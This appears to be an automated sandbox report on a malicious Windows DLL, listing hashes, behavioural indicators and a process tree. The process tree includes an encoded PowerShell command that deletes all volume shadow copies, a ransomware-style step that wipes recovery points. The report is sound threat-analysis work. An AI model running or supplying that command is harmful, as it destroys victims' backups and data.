Analysis
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max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:41
Static task
static1
Behavioral task
behavioral1
Sample
f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll
Resource
win10-en-20211208
General
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Target
f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll
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Size
166KB
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MD5
f9a65586093c1451a8b74097cd277979
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SHA1
b2e5ab63e2bb2a260e94ad6b0c16f184821f2059
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SHA256
f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5
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SHA512
110a02ee5bbc09a953804c23415a6ba0a99bc06a4e437577c314460e93b3ccc491ef28ac9e7bafb5f2776a8836cc6bf08c11b78961ee828c419fbccb1426ce96
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\F: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1896 rundll32.exe 320 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1896 rundll32.exe Token: SeDebugPrivilege 320 powershell.exe Token: SeBackupPrivilege 1488 vssvc.exe Token: SeRestorePrivilege 1488 vssvc.exe Token: SeAuditPrivilege 1488 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 1896 1684 rundll32.exe rundll32.exe PID 1896 wrote to memory of 320 1896 rundll32.exe powershell.exe PID 1896 wrote to memory of 320 1896 rundll32.exe powershell.exe PID 1896 wrote to memory of 320 1896 rundll32.exe powershell.exe PID 1896 wrote to memory of 320 1896 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:320
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:336
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1488
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/320-55-0x000007FEFC081000-0x000007FEFC083000-memory.dmpFilesize
8KB
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memory/320-57-0x0000000002410000-0x0000000002412000-memory.dmpFilesize
8KB
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memory/320-58-0x0000000002412000-0x0000000002414000-memory.dmpFilesize
8KB
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memory/320-59-0x0000000002414000-0x0000000002417000-memory.dmpFilesize
12KB
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memory/320-56-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmpFilesize
11.4MB
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memory/320-60-0x000000001B790000-0x000000001BA8F000-memory.dmpFilesize
3.0MB
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memory/320-61-0x000000000241B000-0x000000000243A000-memory.dmpFilesize
124KB
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memory/1896-54-0x0000000075D61000-0x0000000075D63000-memory.dmpFilesize
8KB